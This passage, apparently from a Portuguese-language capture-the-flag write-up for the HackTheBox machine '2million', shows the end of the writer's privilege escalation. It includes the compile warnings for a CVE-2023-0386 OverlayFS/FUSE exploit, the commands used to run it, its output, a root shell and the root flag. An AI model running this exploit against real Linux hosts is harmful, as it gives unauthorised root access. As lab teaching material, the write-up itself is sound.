   fuse.c:107:19: warning: format ‘%d’ expects argument of type ‘int’, but argument 2 has type ‘size_t’ {aka ‘long unsigned int’} [-Wformat=]
     107 |     printf("size %d\n", size);
         |                  ~^     ~~~~
         |                   |     |
         |                   int   size_t {aka long unsigned int}
         |                  %ld
   fuse.c: In function ‘main’:
   fuse.c:214:12: warning: implicit declaration of function ‘read’; did you mean ‘fread’? [-Wimplicit-function-declaration]
     214 |     while (read(fd, content + clen, 1) > 0)
         |            ^~~~
         |            fread
   fuse.c:216:5: warning: implicit declaration of function ‘close’; did you mean ‘pclose’? [-Wimplicit-function-declaration]
     216 |     close(fd);
         |     ^~~~~
         |     pclose
   fuse.c:221:5: warning: implicit declaration of function ‘rmdir’ [-Wimplicit-function-declaration]
     221 |     rmdir(mount_path);
         |     ^~~~~
   /usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/11/../../../x86_64-linux-gnu/libfuse.a(fuse.o): in function `fuse_new_common':
   (.text+0xaf4e): warning: Using 'dlopen' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking
   gcc -o exp exp.c -lcap
   gcc -o gc getshell.c
   ```

   **Execução do binário `fuse`:**

   * O comando `./fuse ./ovlcap/lower ./gc &` foi usado para montar um sistema de arquivos vulnerável com as permissões necessárias para a exploração.
   * Esse processo fica em segundo plano, permitindo que o exploit manipule as permissões de arquivos e diretórios.

   ```sh
   admin@2million:/tmp/.../CVE-2023-0386$ ./fuse ./ovlcap/lower ./gc &
   [1] 25088
   ```

   **Execução do binário `exp`:**

   * Finalmente, executei `./exp` para explorar a vulnerabilidade. O exploit montou um sistema de arquivos e manipulou permissões para criar um arquivo `file` com permissões de `root`, permitindo a execução de comandos como `root`.
   * Após a execução do exploit, a escalada de privilégios foi bem-sucedida, concedendo acesso como `root`.

   ```sh
   admin@2million:/tmp/.../CVE-2023-0386$ [+] len of gc: 0x3ee0
   ./exp
   uid:1000 gid:1000
   [+] mount success
   [+] readdir
   [+] getattr_callback
   /file
   total 8
   drwxrwxr-x 1 root   root     4096 Sep 21 16:35 .
   drwxr-xr-x 6 root   root     4096 Sep 21 16:35 ..
   -rwsrwxrwx 1 nobody nogroup 16096 Jan  1  1970 file
   [+] open_callback
   /file
   [+] read buf callback
   offset 0
   size 16384
   path /file
   [+] open_callback
   /file
   [+] open_callback
   /file
   [+] ioctl callback
   path /file
   cmd 0x80086601
   [+] exploit success!
   To run a command as administrator (user "root"), use "sudo <command>".
   See "man sudo_root" for details.
   ```

Com o sucesso do exploit, consegui escalar meus privilégios e me tornar root. Finalmente, acessei a flag root:

```sh
root@2million:/tmp/.../CVE-2023-0386# cat /root/root.txt 
f571b8c886a01d3a61c2fb32a8b9981e
```

{% hint style="success" %}
Com a escalada de privilégios bem-sucedida e acesso root obtido, todas as flags foram coletadas e a máquina foi totalmente comprometida.
{% endhint %}

<div align="left"><figure><img src="https://2078903645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FW98xJQuX2kc5QKEyMN0C%2Fuploads%2F3YCjR1ZsSOnM4i3bDeYw%2Fmr.gif?alt=media&#x26;token=89459d31-dd5f-4407-9c20-e62190bb64da" alt="" width="300"><figcaption></figcaption></figure></div>
